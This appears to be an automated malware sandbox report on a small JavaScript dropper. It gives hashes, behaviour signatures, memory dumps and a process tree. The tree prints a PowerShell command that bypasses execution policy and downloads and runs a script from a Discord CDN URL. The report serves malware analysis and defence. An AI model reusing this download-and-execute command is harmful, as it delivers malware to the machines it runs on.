Analysis

  • max time kernel
    119s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    02-12-2021 01:23

General

  • Target

    34ce23e0cac1eb85e253f52b87c53436.js

  • Size

    256B

  • MD5

    34ce23e0cac1eb85e253f52b87c53436

  • SHA1

    fbc026960fc1009eae89f7506276a5e153ec58ec

  • SHA256

    ba2680549e33524c3b96c4b2be01c47297e977fe7532034936d8baa4f6dc3104

  • SHA512

    488b7d7cc0a3a723273f4bac17f4b45daa9c894d03af15b6c14e84d9f9b4ee3fa7d263b03fb3c12c78361a4a9d92b77a6e7a25e323b9494e937ba1ca6be92c9d

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://cdn.discordapp.com/attachments/908377323814916189/915315815404953630/yuniiii.txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\34ce23e0cac1eb85e253f52b87c53436.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass iex ((New-Object Net.WebClient).DownloadString('https://cdn.discordapp.com/attachments/908377323814916189/915315815404953630/yuniiii.txt'))
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1052

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/1052-56-0x0000000000000000-mapping.dmp
  • memory/1052-58-0x000007FEF2C80000-0x000007FEF37DD000-memory.dmp
    Filesize

    11.4MB

  • memory/1052-59-0x0000000002660000-0x0000000002662000-memory.dmp
    Filesize

    8KB

  • memory/1052-60-0x0000000002662000-0x0000000002664000-memory.dmp
    Filesize

    8KB

  • memory/1052-61-0x0000000002664000-0x0000000002667000-memory.dmp
    Filesize

    12KB

  • memory/1052-62-0x000000000266B000-0x000000000268A000-memory.dmp
    Filesize

    124KB

  • memory/1096-55-0x000007FEFC1F1000-0x000007FEFC1F3000-memory.dmp
    Filesize

    8KB